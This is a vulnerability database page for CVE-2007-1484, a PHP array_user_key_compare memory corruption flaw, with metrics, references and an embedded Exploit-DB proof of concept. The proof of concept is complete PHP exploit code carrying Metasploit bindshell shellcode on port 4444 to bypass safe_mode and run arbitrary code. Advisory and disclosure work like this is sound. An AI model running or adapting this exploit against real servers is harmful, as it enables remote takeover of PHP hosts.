CVE-2007-1484 : Detail

CVE-2007-1484

0.14%V4
Local
2007-03-16
20h00 +00:00
2007-04-12
07h00 +00:00
CVE.org
NVD
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CVE Descriptions

The array_user_key_compare function in PHP 4.4.6 and earlier, and 5.x up to 5.2.1, makes erroneous calls to zval_dtor, which triggers memory corruption and allows local users to bypass safe_mode and execute arbitrary code via a certain unset operation after array_user_key_compare has been called.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 4.6 AV:L/AC:L/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 3499

Publication date : 2007-03-15 23h00 +00:00
Author : Stefan Esser
EDB Verified : Yes

<?php //////////////////////////////////////////////////////////////////////// // _ _ _ _ ___ _ _ ___ // // | || | __ _ _ _ __| | ___ _ _ ___ __| | ___ | _ \| || || _ \ // // | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___|| _/| __ || _/ // // |_||_|\__,_||_| \__,_|\___||_||_|\___|\__,_| |_| |_||_||_| // // // // Proof of concept code from the Hardened-PHP Project // // (C) Copyright 2007 Stefan Esser // // // //////////////////////////////////////////////////////////////////////// // PHP 4/5 - array_user_key_compare() ZVAL dtor exploit // //////////////////////////////////////////////////////////////////////// // This is meant as a protection against remote file inclusion. die("REMOVE THIS LINE"); // You can put in any shellcode you want. Just make sure that the // shellcode string starts with enough NOP space // NOPSPACE $shellcode = str_repeat(chr(0x90), 710); // A bindshell on port 4444 generated by Metsploit $shellcode .= "\x29\xc9\x83\xe9\xeb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x46". "\x32\x3c\xe5\x83\xeb\xfc\xe2\xf4\x77\xe9\x6f\xa6\x15\x58\x3e\x8f". "\x20\x6a\xa5\x6c\xa7\xff\xbc\x73\x05\x60\x5a\x8d\x57\x6e\x5a\xb6". "\xcf\xd3\x56\x83\x1e\x62\x6d\xb3\xcf\xd3\xf1\x65\xf6\x54\xed\x06". "\x8b\xb2\x6e\xb7\x10\x71\xb5\x04\xf6\x54\xf1\x65\xd5\x58\x3e\xbc". "\xf6\x0d\xf1\x65\x0f\x4b\xc5\x55\x4d\x60\x54\xca\x69\x41\x54\x8d". "\x69\x50\x55\x8b\xcf\xd1\x6e\xb6\xcf\xd3\xf1\x65"; $arr = array(str_repeat("A", 39) => 1, "B" => 1); function array_compare(&$key1, &$key2) { $GLOBALS['a'] = &$key2; unset($key2); return 1; } uksort($arr, "array_compare"); $x=array($shellcode => 1); $a[8*4+0] = $a[6*4+0]; $a[8*4+1] = chr(ord($a[6*4+1])+2); // <--- This only works for Little Endian $a[8*4+2] = $a[6*4+2]; $a[8*4+3] = $a[6*4+3]; unset($x); ?> # milw0rm.com [2007-03-16]

Products Mentioned

Configuraton 0

Php>>Php >> Version To (including) 4.4.6

Php>>Php >> Version From (including) 5.0.0 To (including) 5.2.1

References

http://www.securityfocus.com/bid/22990
Tags : vdb-entry, x_refsource_BID
http://www.vupen.com/english/advisories/2007/2732
Tags : vdb-entry, x_refsource_VUPEN
http://secunia.com/advisories/25056
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/24542
Tags : third-party-advisory, x_refsource_SECUNIA
http://security.gentoo.org/glsa/glsa-200705-19.xml
Tags : vendor-advisory, x_refsource_GENTOO
http://us2.php.net/releases/4_4_7.php
Tags : x_refsource_CONFIRM
http://www.ubuntu.com/usn/usn-455-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://us2.php.net/releases/5_2_2.php
Tags : x_refsource_CONFIRM
http://www.securityfocus.com/bid/25159
Tags : vdb-entry, x_refsource_BID
http://secunia.com/advisories/25445
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/25057
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/26235
Tags : third-party-advisory, x_refsource_SECUNIA
The information presented on CVE Find originates from several carefully selected reference sources. CVE data is provided by MITRE Corporation and the National Vulnerability Database (NVD). The Known Exploited Vulnerabilities (KEV) catalog is sourced from the Cybersecurity and Infrastructure Security Agency (CISA), while EPSS scores come from FIRST.org. Additionally, data regarding software weaknesses (CWE) and common attack patterns (CAPEC) is maintained by MITRE Corporation, and information on hardware and software configurations (CPE) is provided by the NVD.